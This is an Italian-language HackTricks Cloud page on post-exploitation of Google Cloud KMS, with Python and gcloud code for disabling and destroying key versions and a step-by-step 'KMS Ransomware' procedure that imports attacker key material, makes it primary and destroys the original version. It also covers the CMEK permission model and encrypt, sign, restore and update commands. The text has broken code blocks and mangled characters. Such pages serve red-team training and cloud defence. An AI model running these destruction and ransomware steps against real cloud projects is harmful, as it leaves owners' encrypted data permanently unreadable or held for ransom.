GCP - KMS Post Exploitation
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
KMS
Trova informazioni di base su KMS in:
cloudkms.cryptoKeyVersions.destroy
Un attacker con questa permission potrebbe distruggere una versione KMS. Per farlo devi prima disabilitare la key e poi distruggerla:
Disable and destroy key version (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Disables a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={âcrypto_key_versionâ: {ânameâ: key_version_name, âstateâ: kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Destroys a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={ânameâ: key_version_name})
Example usage
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
In AWS è possibile completamente **rubare una chiave KMS** modificando la resource policy di KMS e consentendo che solo l'account dell'attaccante possa usare la chiave. PoichÊ queste resource policy non esistono in GCP, ciò non è possibile.
Tuttavia, esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
- Creare una nuova **versione della chiave con materiale della chiave** importato dall'attaccante
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- Impostala come versione predefinita (per i dati futuri che verranno crittografati)
- Ricrittografa i dati piĂš vecchi crittografati con la versione precedente utilizzando quella nuova.
- Elimina la chiave KMS
- Ora solo lâattaccante, che possiede il materiale chiave originale, potrebbe essere in grado di decifrare i dati crittografati
Cloud Storage + CMEK modello delle autorizzazioni
Quando gli oggetti in Cloud Storage sono crittografati con CMEK, le chiamate di decrypt/encrypt a KMS sono effettuate dallâagente di servizio di Cloud Storage del progetto il cui indirizzo email è service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), non direttamente dallâutente finale che legge lâoggetto.
Questo significa che per leggere qualcosa crittografata con CMEK:
- Lâagente di Cloud Storage del progetto deve avere permessi KMS sulla chiave KMS usata (tipicamente
roles/cloudkms.cryptoKeyEncrypterDecrypter). - Lâutente ha bisogno solo dei permessi di lettura dellâoggetto (per esempio
storage.objects.get). Non necessita di permessi sulla chiave KMS.
Questo significa che per controllare lâaccesso ai dati crittografati con la chiave KMS è necessario aggiungere/rimuovere permessi KMS per lâagente di Cloud Storage del progetto.
Nota che un binding a livello di progetto come roles/cloudkms.cryptoKeyEncrypterDecrypter per lâagente del servizio Storage consentirĂ comunque la decrittazione con le chiavi nello stesso progetto.
Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati piĂš vecchi:
Importa nuova versione della chiave e elimina la versione vecchia
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âimport-method ârsa-oaep-3072-sha1-aes-256â
âprotection-level âsoftwareâ
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (itâs encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
âimport-job my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âalgorithm âgoogle-symmetric-encryptionâ
âtarget-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
Make new version primary
gcloud kms keys update
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âprimary-version 2
Try to decrypt again (error)
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Disable initial version
gcloud kms keys versions disable
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âversion 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Cifrare i dati con una chiave simmetrica (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Firma un messaggio con una chiave asimmetrica (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): âââ Sign a message using an asymmetric key version from Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode(âutf-8â) digest = {âsha256â: hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â message = âyour-messageâ
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(âSignature:â, signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Verifica della firma con chiave asimmetrica (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
Lâautorizzazione cloudkms.cryptoKeyVersions.restore permette a unâidentitĂ di ripristinare una versione di chiave che è stata precedentemente programmata per la distruzione o disabilitata in Cloud KMS, riportandola a uno stato attivo e utilizzabile.
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
Il permesso cloudkms.cryptoKeyVersions.update consente a unâidentitĂ di modificare gli attributi o lo stato di una specifica versione di chiave in Cloud KMS, ad esempio abilitandola o disabilitandola.
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

